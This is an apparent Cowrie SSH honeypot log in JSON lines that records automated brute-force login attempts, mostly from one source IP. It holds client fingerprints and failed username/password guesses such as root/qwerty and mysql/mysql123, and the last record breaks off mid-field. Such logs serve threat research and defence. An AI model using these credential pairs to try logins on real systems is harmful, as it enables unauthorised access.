{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:56.373282Z","src_ip":"91.92.42.227","session":"cf1fa4f088cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:57.368637Z","src_ip":"91.92.42.227","session":"cf1fa4f088cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:58.629389Z","src_ip":"91.92.42.227","session":"cf1fa4f088cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44550,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae5a7d91f5c","protocol":"ssh","message":"New connection: 91.92.42.227:44550 (10.17.0.5:22) [session: 8ae5a7d91f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:02.957247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:03.176622Z","src_ip":"91.92.42.227","session":"8ae5a7d91f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:03.179688Z","src_ip":"91.92.42.227","session":"8ae5a7d91f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:04.493598Z","src_ip":"91.92.42.227","session":"8ae5a7d91f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:06.129640Z","src_ip":"91.92.42.227","session":"8ae5a7d91f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36620,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cd81b5c9936","protocol":"ssh","message":"New connection: 91.92.42.227:36620 (10.17.0.5:22) [session: 6cd81b5c9936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:09.199246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:09.483201Z","src_ip":"91.92.42.227","session":"6cd81b5c9936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:09.486717Z","src_ip":"91.92.42.227","session":"6cd81b5c9936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:11.673205Z","src_ip":"91.92.42.227","session":"6cd81b5c9936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:13.129570Z","src_ip":"91.92.42.227","session":"6cd81b5c9936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d477477e4e5","protocol":"ssh","message":"New connection: 91.92.42.227:49538 (10.17.0.5:22) [session: 2d477477e4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:16.244250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:16.460130Z","src_ip":"91.92.42.227","session":"2d477477e4e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:16.463852Z","src_ip":"91.92.42.227","session":"2d477477e4e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:17.625715Z","src_ip":"91.92.42.227","session":"2d477477e4e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:19.247939Z","src_ip":"91.92.42.227","session":"2d477477e4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49612,"dst_ip":"10.17.0.5","dst_port":22,"session":"72f7d7a81662","protocol":"ssh","message":"New connection: 91.92.42.227:49612 (10.17.0.5:22) [session: 72f7d7a81662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:23.262861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:23.371192Z","src_ip":"91.92.42.227","session":"72f7d7a81662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:23.374615Z","src_ip":"91.92.42.227","session":"72f7d7a81662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:23.963472Z","src_ip":"91.92.42.227","session":"72f7d7a81662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40270,"dst_ip":"159.203.135.109","dst_port":22,"session":"253de87acdea","protocol":"ssh","message":"New connection: 168.167.228.74:40270 (159.203.135.109:22) [session: 253de87acdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:24.477249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:24.480802Z","src_ip":"168.167.228.74","session":"253de87acdea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:24.726738Z","src_ip":"168.167.228.74","session":"253de87acdea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:25.066110Z","src_ip":"91.92.42.227","session":"72f7d7a81662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sagar","password":"sagar@123","message":"login attempt [sagar/sagar@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:25.750437Z","src_ip":"168.167.228.74","session":"253de87acdea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:27.000664Z","src_ip":"168.167.228.74","session":"253de87acdea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46524,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72f4a0a9c47","protocol":"ssh","message":"New connection: 91.92.42.227:46524 (10.17.0.5:22) [session: f72f4a0a9c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:30.020261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:30.039469Z","src_ip":"91.92.42.227","session":"f72f4a0a9c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:30.106668Z","src_ip":"91.92.42.227","session":"f72f4a0a9c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:30.789594Z","src_ip":"91.92.42.227","session":"f72f4a0a9c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:31.953820Z","src_ip":"91.92.42.227","session":"f72f4a0a9c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59788,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a01f478ac0","protocol":"ssh","message":"New connection: 91.92.42.227:59788 (10.17.0.5:22) [session: 24a01f478ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:36.638505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:36.660382Z","src_ip":"91.92.42.227","session":"24a01f478ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:36.907458Z","src_ip":"91.92.42.227","session":"24a01f478ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:37.575727Z","src_ip":"91.92.42.227","session":"24a01f478ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:38.743471Z","src_ip":"91.92.42.227","session":"24a01f478ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59876,"dst_ip":"10.17.0.5","dst_port":22,"session":"747a4e6b5e00","protocol":"ssh","message":"New connection: 91.92.42.227:59876 (10.17.0.5:22) [session: 747a4e6b5e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:43.283144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:59:43.378543Z","src_ip":"91.92.42.227","session":"747a4e6b5e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 